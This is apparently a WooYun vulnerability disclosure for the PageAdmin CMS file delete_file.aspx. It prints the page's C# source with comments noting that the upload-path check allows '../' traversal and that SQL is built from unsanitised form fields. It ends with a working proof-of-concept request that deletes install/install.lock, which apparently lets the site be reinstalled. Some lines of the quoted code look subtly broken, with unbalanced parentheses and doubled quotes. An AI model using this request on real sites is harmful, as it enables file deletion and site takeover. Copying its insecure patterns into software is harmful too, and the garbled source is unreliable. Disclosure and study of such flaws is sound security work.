WooYun.org

e/aspx/delete_file.aspx

<% @ Page language="c#"%>
<% @ Import NameSpace="System.Data"%>
<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="System.IO"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
override protected void OnInit(EventArgs e)
{
  Check_Post();
  string Table=Request.Form["table"];
  string Field=Request.Form["field"];
  string Id=Request.Form["id"];
  string D_File=Request.Form["path"];
  string UserName="";
  int IsMaster=0;
  int CanDel=1;
  if(IsStr(Table) && IsStr(Field) && IsNum(Id))
    {
     Conn theconn=new Conn();
     OleDbConnection conn=new OleDbConnection(theconn.Constr());
     conn.Open();
     if(Request.Cookies["Master"]!=null)
      {
        Master_Valicate Master=new Master_Valicate();
        Master.Master_Check();
        IsMaster=1;
      }
     else
      {
        Member_Valicate Member=new Member_Valicate();
        Member.Member_Check();
        UserName=Member._UserName;
      }
     string sql;
     OleDbCommand comm;
     OleDbDataReader dr;
     sql="select id from pa_field where thetable='"+Table+"' and [field]='"+Field+"'";
     comm=new OleDbCommand(sql,conn);
     dr=comm.ExecuteReader();
     if(!dr.Read()
       {
        CanDel=0;
       }
      dr.Close();
     if(CanDel==1) //数据库要有刚才那个记录 candel的值才不会被修改为0
      {
        if(IsMaster==1) //需要管理员权限
        {
         Del_File(D_File); //跟进
        }
       if(Id!="0")
       {
        if(IsMaster==0)
        {
         sql="update "+Table+" set "+Field+"='' where username='"+UserName+"'' and id="+Id;
        }
       else
        {
         sql="update "+Table+" set "+Field+"='' where id="+Id;
        }
        comm=new OleDbCommand(sql,conn);
        comm.ExecuteNonQuery();
        if(IsMaster==0)
        {
         sql="update pa_file set detail_id=0 where username='"+UserName+"'' and thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
        }
       else
        {
         sql="update pa_file set detail_id=0 where thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
        }
        comm=new OleDbCommand(sql,conn);
        comm.ExecuteNonQuery();
       }
      }
     conn.Close();
    }
}
private void Del_File(string FilePath)
 {
   if(FilePath!="" && FilePath.IndexOf(":")<0 && FilePath.IndexOf("/e/upload/")==0) //没过滤..可跳出目录 要以/e/upload/ 开头
    {
     if(FilePath.IndexOf("/zdy/")<0)
       {
         FilePath=Server.MapPath(FilePath);
         if(File.Exists(FilePath))
          {
            File.Delete(FilePath);
          }
      }
   }
 }

http://wooyun.org/bugs/wooyun-2010-061861

http://192.168.1.104/e/aspx/delete_file.aspx

table=pa_member&Field=pa_address&id=0&path=/e/upload/../install/install.lock

http://192.168.1.104/e/member/index.aspx?s=1&type=reg